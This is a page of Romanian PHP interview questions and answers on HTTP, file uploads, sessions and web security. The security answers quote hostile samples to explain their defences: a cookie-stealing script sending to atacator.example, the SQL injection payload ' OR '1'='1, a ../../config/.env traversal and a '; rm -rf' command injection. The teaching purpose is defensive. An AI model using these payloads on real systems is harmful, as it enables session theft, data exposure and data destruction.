Un cookie setat acum apare în $_COOKIE abia la cererea următoare. Pentru cookie-urile de analiză și marketing, în UE ai nevoie și de consimțământul utilizatorului.

Ce urmărește intervievatorul: Verifică înțelegerea stării în aplicațiile web și a securității cookie-urilor. Puțini juniori știu ce face exact HttpOnly.

39 Junior

Ce coduri de status HTTP folosești cel mai des și ce înseamnă?

Răspuns scurt: Clasele sunt 2xx succes, 3xx redirecționare, 4xx eroare a clientului, 5xx eroare a serverului. Cele mai comune: 200, 201, 204, 301, 302, 304, 400, 401, 403, 404, 422, 429, 500, 502, 503.

Codul de status îi spune clientului (browser, aplicație mobilă, alt serviciu) ce s-a întâmplat, fără să parseze mesajul.

  • 200 OK: cerere reușită
  • 201 Created: resursă creată, de obicei cu header Location
  • 204 No Content: reușit, fără corp (de exemplu după un DELETE)
  • 301 Moved Permanently: redirecționare permanentă, importantă pentru SEO
  • 302 Found / 303 See Other: redirecționare temporară; 303 după un POST, ca refresh-ul să nu retrimită formularul (tiparul Post/Redirect/Get)
  • 304 Not Modified: browserul poate folosi copia din cache
  • 400 Bad Request: cerere malformată
  • 401 Unauthorized: lipsește autentificarea sau e invalidă
  • 403 Forbidden: autentificat, dar fără drept de acces
  • 404 Not Found, 405 Method Not Allowed
  • 422 Unprocessable Content: date valide sintactic dar care nu trec validarea (Laravel îl folosește pentru erorile de validare)
  • 429 Too Many Requests: rate limiting
  • 500 Internal Server Error, 502 Bad Gateway (de exemplu PHP-FPM nu răspunde în spatele lui Nginx), 503 Service Unavailable (mentenanță)
PHP
http_response_code(201);
header('Content-Type: application/json');
header('Location: /api/produse/42');
echo json_encode(['id' => 42]);

Greșeli frecvente: un API care răspunde mereu 200 cu {"error": "..."} în corp, sau 200 pentru o pagină „nu am găsit”, pe care Google o indexează ca pagină reală (soft 404). Diferența 401 vs 403 este o întrebare clasică: 401 înseamnă „nu știu cine ești”, 403 „știu cine ești, dar nu ai voie”.

Ce urmărește intervievatorul: Se verifică dacă știi să construiești răspunsuri corecte. Confuzia dintre 401 și 403 este cea mai frecventă.

40 Junior

Cum implementezi în siguranță upload-ul unui fișier în PHP?

Răspuns scurt: Formularul folosește enctype="multipart/form-data", fișierul apare în $_FILES, iar tu verifici codul de eroare, dimensiunea și tipul real (cu finfo), generezi un nume nou și îl muți cu move_uploaded_file() într-un director unde nu se execută PHP.

Upload-ul este una dintre cele mai riscante funcționalități: dacă un atacator reușește să urce un fișier .php într-un director public, poate executa cod pe server.

PHP
$f = $_FILES['avatar'] ?? null;
if (!$f || $f['error'] !== UPLOAD_ERR_OK) {
    exit('Upload eșuat');
}
if ($f['size'] > 2 * 1024 * 1024) {
    exit('Fișierul e prea mare');
}

$tipuri = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'image/webp' => 'webp'];
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);
if (!isset($tipuri[$mime])) {
    exit('Tip de fișier nepermis');
}

$nume = bin2hex(random_bytes(16)) . '.' . $tipuri[$mime];
$dest = __DIR__ . '/../storage/avatare/' . $nume;
if (!move_uploaded_file($f['tmp_name'], $dest)) {
    exit('Nu am putut salva fișierul');
}

De ce fiecare pas:

  • $f['type'] și numele original vin de la client și pot fi falsificate; finfo citește conținutul real
  • extensia o alegi tu, dintr-o listă permisă, nu o iei din numele original
  • numele aleator evită suprascrieri și path traversal (../../index.php)
  • move_uploaded_file verifică faptul că fișierul chiar a venit printr-un upload HTTP
  • stochezi în afara rădăcinii web sau într-un director configurat să nu execute scripturi, iar fișierele le servești printr-un script care verifică drepturile

Limitele se setează și în php.ini (upload_max_filesize, post_max_size). Dacă trimiți mai mult decât post_max_size, $_POST și $_FILES vin goale, un comportament care derutează des la depanare. Pentru imagini, re-encodarea cu GD sau Imagick elimină și metadate sau conținut ascuns.

Ce urmărește intervievatorul: Verifică gândirea defensivă. Greșeala tipică este încrederea în $_FILES['type'] sau în extensia originală.

41 Mid

Cum ai construi un endpoint REST simplu în PHP fără framework?

Răspuns scurt: Un front controller citește metoda și calea, rutează către un handler, citește JSON-ul din php://input, validează datele, folosește PDO cu prepared statements și răspunde cu JSON, header Content-Type și codul de status potrivit.

Un API REST expune resurse prin URL-uri și metode HTTP: GET /api/produse, POST /api/produse, GET /api/produse/42. Fără framework, toate cererile ajung într-un singur index.php (front controller), prin rescriere de URL în Nginx sau Apache.

PHP
<?php
declare(strict_types=1);
header('Content-Type: application/json; charset=utf-8');

$pdo = new PDO('mysql:host=localhost;dbname=magazin;charset=utf8mb4', 'app', getenv('DB_PASS'), [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$metoda = $_SERVER['REQUEST_METHOD'];
$cale = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

function raspunde(int $cod, array $date): never {
    http_response_code($cod);
    echo json_encode($date, JSON_UNESCAPED_UNICODE);
    exit;
}

if ($metoda === 'GET' && preg_match('#^/api/produse/(\d+)$#', $cale, $m)) {
    $st = $pdo->prepare('SELECT id, nume, pret FROM produse WHERE id = ?');
    $st->execute([(int) $m[1]]);
    $p = $st->fetch(PDO::FETCH_ASSOC);
    $p ? raspunde(200, $p) : raspunde(404, ['eroare' => 'Produs inexistent']);
}

if ($metoda === 'POST' && $cale === '/api/produse') {
    $in = json_decode(file_get_contents('php://input'), true) ?? [];
    if (empty($in['nume']) || !is_numeric($in['pret'] ?? null)) {
        raspunde(422, ['eroare' => 'Câmpurile nume și pret sunt obligatorii']);
    }
    $pdo->prepare('INSERT INTO produse (nume, pret) VALUES (?, ?)')->execute([$in['nume'], $in['pret']]);
    raspunde(201, ['id' => (int) $pdo->lastInsertId()]);
}

raspunde(404, ['eroare' => 'Rută inexistentă']);

Ce ai adăuga într-un proiect real: autentificare (token sau sesiune), CORS dacă API-ul e apelat din alt domeniu, paginare, un format uniform de erori și versionare (/api/v1). Aici se vede de ce framework-urile există: rutarea, validarea și serializarea devin repetitive repede.

Ce urmărește intervievatorul: Testează dacă înțelegi ce face un framework „sub capotă”. Se urmăresc codurile de status corecte și accesul sigur la baza de date.

42 Mid

Ce se întâmplă de la tastarea unui URL până la execuția unui script PHP? Ce este PHP-FPM?

Răspuns scurt: Browserul rezolvă DNS-ul, deschide o conexiune TCP și TLS, trimite cererea HTTP către un server web (Nginx sau Apache), care o predă procesului PHP-FPM prin FastCGI. PHP execută scriptul de la zero și returnează răspunsul.

Pașii, simplificat:

  • DNS: domeniul este tradus într-o adresă IP
  • conexiune TCP și, pentru HTTPS, negocierea TLS
  • browserul trimite cererea: metodă, cale, header-e, cookie-uri
  • serverul web (Nginx, Apache, LiteSpeed) servește direct fișierele statice; cererile pentru .php le trimite mai departe
  • PHP-FPM (FastCGI Process Manager) primește cererea prin protocolul FastCGI, pe un socket Unix sau TCP
  • un proces worker liber execută scriptul: încarcă codul (din OPcache), rulează bootstrap-ul aplicației, se conectează la baza de date, produce output-ul
  • răspunsul revine prin serverul web la browser, care parsează HTML-ul și cere resursele CSS, JS și imaginile
browser -> Nginx :443 -> fastcgi_pass unix:/run/php/php8.3-fpm.sock -> worker PHP

Modelul clasic al PHP este „share-nothing”: fiecare cerere pornește cu memorie curată, iar la final totul se eliberează. Avantajul este robustețea: o scurgere de memorie sau o eroare afectează o singură cerere. Dezavantajul este că bootstrap-ul aplicației se repetă la fiecare cerere, motiv pentru care există OPcache și cache-uri pentru configurare și rute.

PHP-FPM are un pool de procese configurat prin pm (static, dynamic, ondemand) și pm.max_children. Dacă toate procesele sunt ocupate, cererile stau la coadă, iar utilizatorii văd 502 sau 504. Alternative mai noi, precum Swoole, RoadRunner sau FrankenPHP (folosite de Laravel Octane), păstrează aplicația în memorie între cereri pentru viteză, dar aduc riscul de stare partajată între cereri.

Ce urmărește intervievatorul: Verifică dacă înțelegi infrastructura pe care rulează codul tău. Un răspuns bun explică modelul share-nothing și efectul lui.

43 Mid

Ce înseamnă eroarea „Cannot modify header information - headers already sent” și cum o repari?

Răspuns scurt: Apare când încerci să trimiți un header (header(), setcookie(), session_start()) după ce scriptul a trimis deja output către browser. Soluția este să muți logica înainte de orice output și să elimini spațiile sau BOM-ul din fișiere.

Un răspuns HTTP are întâi header-ele, apoi corpul. În momentul în care PHP trimite primul octet de conținut (un echo, HTML în afara tagurilor PHP sau chiar un spațiu), header-ele sunt trimise și nu mai pot fi modificate. Orice apel ulterior care setează header-e produce acest warning.

Cauze tipice:

  • spațiu sau linie goală înainte de <?php sau după un ?> final într-un fișier inclus
  • BOM UTF-8 salvat de editor la începutul fișierului
  • un echo sau var_dump de depanare înainte de header('Location: ...')
  • un warning sau notice afișat (cu display_errors=On) înainte de redirect

Mesajul de eroare îți spune exact unde a început output-ul: „output started at /cale/fisier.php:12”. Acolo cauți.

PHP
<?php
// fără tag de închidere ?> la final de fișier, recomandare PSR-12
if (!$autentificat) {
    header('Location: /login', true, 302);
    exit; // fără exit, scriptul continuă să ruleze
}

Output buffering (ob_start() sau output_buffering din php.ini) adună output-ul în memorie și îl trimite la final, așa că eroarea dispare. Este util în anumite cazuri, dar folosit doar ca să ascundă problema e un plasture: ordinea corectă este logică, apoi header-e, apoi afișare. Framework-urile MVC rezolvă natural asta, pentru că răspunsul este construit ca obiect și trimis o singură dată. Poți verifica starea cu headers_sent($fisier, $linie).

Ce urmărește intervievatorul: O întrebare de depanare foarte practică. Se urmărește dacă înțelegi structura răspunsului HTTP, nu doar soluția cu ob_start.

44 Senior

Cum gestionezi sesiunile și autentificarea când aplicația rulează pe mai multe servere în spatele unui load balancer?

Răspuns scurt: Muți stocarea sesiunilor din fișiere locale într-un depozit comun (Redis, Memcached sau baza de date) sau folosești tokenuri stateless. Sticky sessions sunt o soluție temporară, cu dezavantaje la scalare și la căderea unui server.

Cu handler-ul implicit, sesiunile sunt fișiere pe discul serverului care a creat sesiunea. Dacă load balancer-ul trimite următoarea cerere la alt server, sesiunea „dispare” și utilizatorul pare delogat.

Opțiunile:

  • Sticky sessions: load balancer-ul trimite același utilizator mereu la același server, pe baza unui cookie. E simplu, dar distribuie inegal sarcina, iar la căderea sau înlocuirea unui server utilizatorii lui își pierd sesiunea. Nu se potrivește cu autoscaling.
  • Stocare centralizată: Redis este alegerea frecventă, rapid și cu expirare nativă (TTL).
session.save_handler = redis
session.save_path = "tcp://redis.intern:6379?auth=..."

În Laravel, același lucru se face cu SESSION_DRIVER=redis. Redis devine însă o dependență critică, deci ai nevoie de replicare și monitorizare.

  • Tokenuri stateless (de exemplu JWT): serverul semnează un token cu datele utilizatorului, iar orice server îl poate verifica fără stocare. Dezavantajul principal este revocarea: un token furat rămâne valid până la expirare, așa că se folosesc tokenuri de acces scurte și refresh tokenuri stocate pe server. Pentru o aplicație web clasică, cu browser, cookie-ul de sesiune HttpOnly rămâne de obicei mai simplu și mai sigur decât un JWT ținut în localStorage.

Alte lucruri care trebuie să fie partajate între servere: cache-ul aplicației, fișierele încărcate (stocare de obiecte, gen S3), cozile de joburi și cheia de criptare a aplicației, care trebuie să fie identică pe toate nodurile. Un principiu util: serverele de aplicație ar trebui să fie fără stare, ca să le poți adăuga sau elimina oricând.

Ce urmărește intervievatorul: La senior se verifică gândirea de arhitectură și cunoașterea compromisurilor. Răspunsul „folosim JWT” fără discuția despre revocare e incomplet.

Securitate web

45 Junior

Ce este SQL injection și cum îl previi în PHP?

Răspuns scurt: SQL injection apare când input-ul utilizatorului este lipit direct într-un query, iar atacatorul poate schimba sensul comenzii SQL. Previi cu prepared statements (PDO sau mysqli) în care valorile sunt transmise separat ca parametri.

Exemplu vulnerabil:

PHP
$email = $_POST['email'];
$sql = "SELECT * FROM users WHERE email = '$email'";
$rez = $pdo->query($sql);

Dacă atacatorul trimite ' OR '1'='1, query-ul devine WHERE email = '' OR '1'='1' și returnează toți utilizatorii. Cu alte payload-uri poate citi alte tabele (UNION SELECT), poate ocoli login-ul sau, în funcție de drepturi, poate modifica date.

Varianta corectă, cu prepared statements:

PHP
$st = $pdo->prepare('SELECT id, nume FROM users WHERE email = :email');
$st->execute(['email' => $_POST['email']]);
$user = $st->fetch();

Query-ul și valorile ajung separat la server, iar valoarea nu poate fi interpretată ca SQL. Pentru PDO cu MySQL, setează PDO::ATTR_EMULATE_PREPARES => false ca să folosești prepared statements reale pe server și include charset=utf8mb4 în DSN.

Limitări de știut:

  • parametrii înlocuiesc doar valori, nu nume de tabele, coloane sau direcția ORDER BY. Pentru acestea folosești o listă albă: $coloana = in_array($_GET['sort'], ['nume', 'pret'], true) ? $_GET['sort'] : 'nume';
  • pentru IN (...) generezi câte un ? pentru fiecare element
  • escaping manual (addslashes, mysqli_real_escape_string) este fragil și nu se recomandă

Ca apărare suplimentară, utilizatorul bazei de date al aplicației are doar drepturile necesare (fără DROP sau acces la alte baze). ORM-urile ca Eloquent sau Doctrine folosesc prepared statements, dar metodele de tip whereRaw sau DB::raw cu input concatenat te expun la fel.

Ce urmărește intervievatorul: Cea mai frecventă întrebare de securitate pentru PHP. Se urmărește și dacă știi că parametrii nu protejează numele de coloane.

46 Junior

Ce este XSS (Cross-Site Scripting) și cum îl previi?

Răspuns scurt: XSS apare când o aplicație afișează date de la utilizator fără escaping, iar un atacator injectează JavaScript care rulează în browserul altor utilizatori. Previi prin escaping la afișare, potrivit contextului (htmlspecialchars pentru HTML), plus Content Security Policy.

Dacă un comentariu conține <script>fetch('https://atacator.example/?c='+document.cookie)</script> și îl afișezi direct, scriptul rulează pentru fiecare vizitator. Atacatorul poate fura sesiuni, poate face acțiuni în numele utilizatorului sau poate modifica pagina.

Tipuri:

  • stored: scriptul e salvat în baza de date (comentarii, profil) și servit tuturor
  • reflected: vine dintr-un parametru URL afișat în pagină, de exemplu un câmp de căutare
  • DOM-based: JavaScript-ul din pagină pune date nesigure în DOM cu innerHTML

Regula de bază: escaping la ieșire, în funcție de context.

PHP
function e(?string $s): string {
    return htmlspecialchars($s ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>
<p>Bun venit, <?= e($user['nume']) ?></p>
<input value="<?= e($_GET['q'] ?? '') ?>">
<script>const cfg = <?= json_encode($cfg, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;</script>

Contextele contează: htmlspecialchars protejează conținutul HTML și atributele puse între ghilimele, dar nu un URL într-un href (javascript:alert(1) trece) și nici cod JavaScript. Pentru URL-uri verifici schema (https), pentru date trimise în JS folosești json_encode. În JavaScript, preferi textContent în loc de innerHTML.

Motoarele de șabloane (Blade cu {{ }}, Twig) fac escaping automat, iar ieșirea brută ({!! !!} în Blade) trebuie folosită doar pentru conținut sigur. Când chiar trebuie să permiți HTML (un editor de text), folosești o bibliotecă de sanitizare precum HTML Purifier. Cookie-ul de sesiune cu HttpOnly și un header CSP limitează pagubele.

Ce urmărește intervievatorul: Verifică înțelegerea escaping-ului contextual. Greșeala clasică este să „curăți” datele la salvare în loc să faci escaping la afișare.

47 Junior

Ce este CSRF și cum protejezi un formular împotriva lui?

Răspuns scurt: CSRF (Cross-Site Request Forgery) păcălește browserul unui utilizator autentificat să trimită o cerere nedorită către site-ul tău, folosind cookie-urile lui. Protecția standard este un token aleator per sesiune, verificat la fiecare cerere care modifică date, plus cookie-uri SameSite.

Scenariu: ești logat în aplicație, apoi intri pe un site rău intenționat care conține un formular ascuns ce se trimite automat către https://aplicatia-ta.ro/cont/schimba-email. Browserul atașează cookie-ul tău de sesiune, iar serverul vede o cerere legitimă.

Protecția cu token sincronizat:

PHP
session_start();
if (empty($_SESSION['csrf'])) {
    $_SESSION['csrf'] = bin2hex(random_bytes(32));
}
?>
<form method="post" action="/cont/schimba-email">
    <input type="hidden" name="csrf" value="<?= htmlspecialchars($_SESSION['csrf']) ?>">
    <input type="email" name="email">
    <button>Salvează</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['csrf'], $_POST['csrf'] ?? '')) {
        http_response_code(419);
        exit('Token CSRF invalid');
    }
    // procesează
}

Site-ul atacatorului nu poate citi tokenul din pagina ta (politica same-origin), deci nu îl poate include în cererea falsă. hash_equals compară în timp constant.

Straturi suplimentare:

  • SameSite=Lax (implicit în browserele moderne pentru cookie-urile fără atribut) nu trimite cookie-ul la POST-uri venite de pe alte site-uri
  • operațiile care modifică date nu se fac niciodată prin GET
  • pentru acțiuni sensibile (schimbare parolă), ceri parola curentă

Laravel adaugă automat verificarea prin middleware, iar în Blade incluzi @csrf în formular. Un API apelat cu token în header-ul Authorization, nu cu cookie, nu este vulnerabil la CSRF în același mod, pentru că browserul nu atașează automat acel header.

Ce urmărește intervievatorul: Întrebare clasică de securitate. Mulți candidați confundă CSRF cu XSS sau nu pot explica de ce atacatorul nu poate citi tokenul.

48 Junior

Cum stochezi corect parolele utilizatorilor în PHP?

Răspuns scurt: Folosești password_hash() la înregistrare și password_verify() la login. Funcțiile generează salt automat și folosesc algoritmi lenți (bcrypt sau Argon2), potriviți pentru parole, spre deosebire de MD5 sau SHA-1.

Parolele nu se stochează niciodată în clar și nici criptate reversibil. Se stochează un hash, iar la login compari hash-ul parolei introduse.

PHP
// înregistrare
$hash = password_hash($_POST['parola'], PASSWORD_DEFAULT);
$pdo->prepare('INSERT INTO users (email, parola_hash) VALUES (?, ?)')
    ->execute([$email, $hash]);

// login
$st = $pdo->prepare('SELECT id, parola_hash FROM users WHERE email = ?');
$st->execute([$email]);
$u = $st->fetch();
if ($u && password_verify($_POST['parola'], $u['parola_hash'])) {
    if (password_needs_rehash($u['parola_hash'], PASSWORD_DEFAULT)) {
        // recalculezi hash-ul cu algoritmul nou și îl salvezi
    }
    session_regenerate_id(true);
    $_SESSION['user_id'] = $u['id'];
}

De ce nu MD5 sau SHA-256 simplu: sunt proiectate să fie rapide, deci un atacator care obține baza de date poate încerca miliarde de variante pe un GPU. Bcrypt și Argon2 sunt intenționat lente și configurabile (cost), iar salt-ul aleator per utilizator face ca doi utilizatori cu aceeași parolă să aibă hash-uri diferite și împiedică tabelele precalculate.

Detalii:

  • PASSWORD_DEFAULT este în prezent bcrypt, dar se poate schimba în versiuni viitoare, de aceea coloana trebuie să fie suficient de lungă (VARCHAR(255))
  • PASSWORD_ARGON2ID este disponibil dacă PHP e compilat cu suport Argon2
  • bcrypt folosește doar primii 72 de octeți ai parolei
  • password_verify compară în timp constant

În afară de hash: impune o lungime minimă rezonabilă, limitează încercările de login și nu loga niciodată parole, nici măcar în mesaje de eroare.

Ce urmărește intervievatorul: Se verifică o regulă de bază pe care orice dezvoltator web trebuie să o știe. Răspunsul „MD5 cu salt” arată cunoștințe depășite.

49 Mid

Ce sunt session hijacking și session fixation și cum protejezi sesiunea?

Răspuns scurt: Session hijacking înseamnă furtul ID-ului de sesiune al unei victime; session fixation înseamnă că atacatorul impune victimei un ID cunoscut. Te protejezi cu session_regenerate_id(true) la login, cookie-uri Secure, HttpOnly, SameSite și session.use_strict_mode.

ID-ul de sesiune este echivalentul unei parole temporare: cine îl are este autentificat ca victima.

Hijacking: atacatorul obține cookie-ul prin XSS, prin trafic necriptat (HTTP pe o rețea Wi-Fi publică), din loguri sau din URL-uri care conțin ID-ul sesiunii.

Fixation: atacatorul obține un ID valid, îl impune victimei (de exemplu printr-un link cu ID în URL, dacă serverul acceptă asta), așteaptă ca victima să se logheze, apoi folosește același ID.

Configurare recomandată:

session.use_strict_mode = 1      ; respinge ID-uri necunoscute generate de client
session.use_only_cookies = 1     ; fără ID în URL
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = Lax
PHP
// imediat după autentificare reușită
session_regenerate_id(true); // ID nou, sesiunea veche ștearsă
$_SESSION['user_id'] = $user['id'];

Regenerarea ID-ului la login (și la orice schimbare de privilegii, de exemplu trecerea în panoul de admin) anulează fixation: ID-ul cunoscut de atacator nu mai e valid după autentificare.

Măsuri suplimentare: expirarea sesiunii după inactivitate și o durată maximă absolută, invalidarea tuturor sesiunilor la schimbarea parolei, reautentificare pentru acțiuni sensibile și HTTPS pe tot site-ul, cu HSTS. Unele aplicații leagă sesiunea de User-Agent sau de IP, dar IP-ul se schimbă legitim pe rețelele mobile, așa că aceste verificări trebuie folosite cu grijă. Framework-urile ca Laravel regenerează automat sesiunea la login, dacă folosești mecanismul lor de autentificare.

Ce urmărește intervievatorul: Verifică dacă știi securitatea sesiunilor dincolo de „folosim HTTPS”. Mulți uită de regenerarea ID-ului după login.

50 Mid

Care este diferența dintre validare, sanitizare și escaping? Cum folosești filter_var?

Răspuns scurt: Validarea verifică dacă input-ul respectă regulile și îl respinge dacă nu; sanitizarea modifică input-ul ca să elimine caractere nedorite; escaping-ul transformă datele pentru un context de ieșire anume (HTML, SQL, shell). Sunt pași diferiți, nu interschimbabili.

Confuzia dintre aceste trei concepte produce multe vulnerabilități.

  • Validare (la intrare): „este acesta un email valid? o vârstă între 18 și 120?” Dacă nu, respingi cererea cu un mesaj clar. Este prima linie de apărare și ține de regulile aplicației.
  • Sanitizare: modifici valoarea, de exemplu elimini spațiile de la capete sau caracterele care nu sunt cifre dintr-un număr de telefon. E utilă pentru normalizare, dar riscantă dacă schimbă tacit sensul datelor.
  • Escaping (la ieșire): pregătești valoarea pentru contextul în care o folosești: htmlspecialchars pentru HTML, prepared statements pentru SQL, escapeshellarg pentru comenzi de shell, json_encode pentru JavaScript.
PHP
$email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL);
$varsta = filter_var($_POST['varsta'] ?? null, FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 18, 'max_range' => 120],
]);
$abonat = filter_var($_POST['abonat'] ?? false, FILTER_VALIDATE_BOOL, FILTER_NULL_ON_FAILURE);

$erori = [];
if ($email === false) $erori['email'] = 'Email invalid';
if ($varsta === false) $erori['varsta'] = 'Vârsta trebuie să fie între 18 și 120';

filter_var returnează valoarea convertită la tip (de exemplu int) sau false la eșec. Atenție la FILTER_VALIDATE_INT cu valoarea 0, care este validă: compară cu === false, nu cu !.

Principiul important: datele se stochează în forma lor reală, iar escaping-ul se face la ieșire, pentru contextul exact. Dacă aplici htmlspecialchars la salvare, ajungi cu &amp; în emailuri, în API-uri JSON și în exporturi. Filtrul FILTER_SANITIZE_STRING a fost depreciat în PHP 8.1 tocmai pentru că amesteca aceste concepte.

Ce urmărește intervievatorul: Se verifică dacă ai un model mental corect al apărării. Răspunsul greșit tipic este „sanitizez tot input-ul și sunt protejat”.

51 Mid

Ce este CORS și de ce nu este o măsură de protecție a API-ului tău?

Răspuns scurt: CORS (Cross-Origin Resource Sharing) este un mecanism prin care serverul îi spune browserului ce alte origini au voie să citească răspunsurile lui. Protejează utilizatorii în browser, dar nu oprește un client care nu e browser, precum curl.

Browserele aplică politica same-origin: un script de pe https://app.exemplu.ro nu poate citi răspunsul unei cereri către https://api.altdomeniu.ro, decât dacă serverul API permite explicit asta prin header-e CORS. O origine înseamnă combinația schemă, domeniu și port.

PHP
$permise = ['https://app.exemplu.ro'];
$origine = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origine, $permise, true)) {
    header("Access-Control-Allow-Origin: $origine");
    header('Vary: Origin');
    header('Access-Control-Allow-Credentials: true');
}
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
    header('Access-Control-Allow-Headers: Content-Type, Authorization');
    http_response_code(204);
    exit;
}

Pentru cereri „ne-simple” (de exemplu cu Content-Type: application/json sau metoda PUT), browserul trimite întâi o cerere OPTIONS (preflight) și continuă doar dacă răspunsul permite.

De ce nu e protecție: CORS este aplicat de browser, în favoarea utilizatorului. Un script PHP, Postman sau curl ignoră complet aceste header-e și poate apela API-ul oricum. Autentificarea, autorizarea și rate limiting-ul rămân obligatorii.

Greșeli frecvente:

  • Access-Control-Allow-Origin: * combinat cu credențiale: browserul refuză, iar unii „repară” reflectând orice Origin primit, ceea ce permite oricărui site să citească datele utilizatorului logat
  • confuzia CORS cu CSRF: CORS controlează citirea răspunsului, nu împiedică trimiterea unei cereri simple de formular
  • uitarea header-ului Vary: Origin, care strică cache-ul când răspunsul diferă pe origini

Ce urmărește intervievatorul: Verifică o confuzie foarte frecventă. Intervievatorul vrea să audă că CORS este aplicat de browser, nu de server.

52 Mid

Ce sunt path traversal, file inclusion și command injection în PHP și cum le previi?

Răspuns scurt: Toate trei apar când input-ul utilizatorului ajunge într-o cale de fișier, într-un include sau într-o comandă de shell. Le previi cu liste albe, căi normalizate verificate cu realpath, evitarea include dinamic și escapeshellarg sau, mai bine, renunțarea la shell.

Path traversal: un script de descărcare primește ?fisier=../../config/.env și citește fișiere din afara directorului permis.

PHP
$baza = realpath(__DIR__ . '/../storage/facturi');
$cale = realpath($baza . '/' . ($_GET['fisier'] ?? ''));
if ($cale === false || !str_starts_with($cale, $baza . DIRECTORY_SEPARATOR)) {
    http_response_code(404);
    exit;
}
readfile($cale);

Și mai bine: nu folosești nume de fișiere venite de la client. Salvezi în baza de date un ID asociat fișierului și verifici că utilizatorul curent are drept asupra lui.

File inclusion: include $_GET['pagina'] . '.php'; permite includerea altor fișiere locale (LFI), iar cu allow_url_include activ chiar a unor fișiere de pe alt server (RFI), adică execuție de cod. Soluția este o listă albă:

PHP
$pagini = ['acasa' => 'acasa.php', 'contact' => 'contact.php'];
include __DIR__ . '/pagini/' . ($pagini[$_GET['p'] ?? ''] ?? 'acasa.php');

Command injection: shell_exec("convert " . $_GET['img'] . " out.png") permite unui atacator să adauge ; rm -rf .... Dacă trebuie să rulezi o comandă, fiecare argument trece prin escapeshellarg(), sau folosești proc_open cu argumentele ca array (PHP 7.4+), care nu mai trece prin shell. Ideal, folosești o extensie sau bibliotecă PHP (Imagick, GD) în locul comenzii.

Ca apărare în profunzime: open_basedir restricționează directoarele accesibile, disable_functions poate dezactiva exec și system pe servere unde nu sunt necesare, iar procesul PHP rulează cu un utilizator fără drepturi de scriere peste cod.

Ce urmărește intervievatorul: Verifică dacă recunoști tiparul comun „input ajunge într-un context periculos”. Mulți cunosc SQL injection, dar nu și aceste variante.

53 Senior

Ce header-e de securitate HTTP ai configura pentru o aplicație PHP și cum funcționează Content Security Policy?

Răspuns scurt: Cele importante sunt Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy și protecția împotriva încadrării (frame-ancestors sau X-Frame-Options). CSP spune browserului din ce surse are voie să încarce scripturi și alte resurse.

Header-ele de securitate sunt un strat de apărare aplicat de browser, util mai ales când o altă protecție cedează.

  • Strict-Transport-Security: max-age=31536000; includeSubDomains: browserul folosește doar HTTPS pentru domeniu, prevenind atacurile de downgrade
  • X-Content-Type-Options: nosniff: browserul nu ghicește tipul fișierului, deci un fișier urcat ca imagine nu poate fi executat ca script
  • Referrer-Policy: strict-origin-when-cross-origin: limitează URL-ul trimis altor site-uri
  • Permissions-Policy: dezactivează funcții ca microfonul sau camera
  • frame-ancestors 'self' în CSP (sau vechiul X-Frame-Options: DENY): previne clickjacking-ul

Content Security Policy este cel mai puternic, dar și cel mai greu de introdus:

PHP
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-$nonce'; "
     . "style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'");
?>
<script nonce="<?= $nonce ?>">initApp();</script>

Cu această politică, un script injectat printr-un XSS nu rulează, pentru că nu are nonce-ul corect și nu vine dintr-o sursă permisă. Scripturile inline și eval sunt blocate implicit.

Introducerea pe o aplicație existentă se face treptat: întâi Content-Security-Policy-Report-Only cu o directivă de raportare, colectezi încălcările, ajustezi și abia apoi aplici. Aplicațiile legacy sau WordPress cu multe pluginuri au adesea JavaScript inline, ceea ce face CSP strict dificil. Header-ele se pot seta și din configurarea Nginx sau Apache, ca să acopere și fișierele statice, nu doar răspunsurile PHP.

Ce urmărește intervievatorul: La senior se verifică apărarea în profunzime și experiența practică. Un plus este strategia de introducere cu modul Report-Only.

54 Senior

Cum ai proteja un formular de login împotriva atacurilor de tip brute force și a enumerării de conturi?

Răspuns scurt: Combini limitarea încercărilor (per cont și per IP, cu întârziere crescătoare), mesaje de eroare identice pentru email inexistent și parolă greșită, timp de răspuns similar, autentificare în doi pași și monitorizare. Blocarea totală a contului poate deveni ea însăși un vector de atac.

Atacurile tipice sunt brute force pe un cont, credential stuffing (perechi email-parolă furate de pe alte site-uri, încercate în masă) și enumerarea conturilor (aflarea emailurilor înregistrate).

Rate limiting pe mai multe chei:

PHP
$cheie = 'login:' . hash('sha256', mb_strtolower($email));
$incercari = (int) $redis->get($cheie);
if ($incercari >= 5) {
    http_response_code(429);
    exit('Prea multe încercări. Încearcă din nou peste câteva minute.');
}
if (!$autentificat) {
    $redis->multi()->incr($cheie)->expire($cheie, 900)->exec();
}

Limitezi atât per cont, cât și per IP sau subrețea, pentru că un atacator distribuit folosește multe IP-uri pe același cont, iar credential stuffing folosește un IP pe multe conturi. În Laravel există RateLimiter și middleware-ul throttle.

Anti-enumerare:

  • același mesaj („Email sau parolă incorecte”) indiferent de cauză
  • timp de răspuns similar: dacă emailul nu există, rulezi totuși un password_verify pe un hash fals, altfel diferența de timp trădează conturile
  • formularele de resetare a parolei și de înregistrare răspund la fel indiferent dacă emailul există

Compromisuri: blocarea definitivă a contului după N încercări permite unui atacator să blocheze conturi legitime (denial of service). De aceea se preferă blocări temporare, întârzieri progresive sau un CAPTCHA după câteva eșecuri.

Măsuri complementare: 2FA (TOTP sau passkeys) pentru conturi importante, verificarea parolelor noi față de liste de parole compromise, notificarea utilizatorului la login de pe un dispozitiv nou și alerte când rata de eșecuri crește brusc.

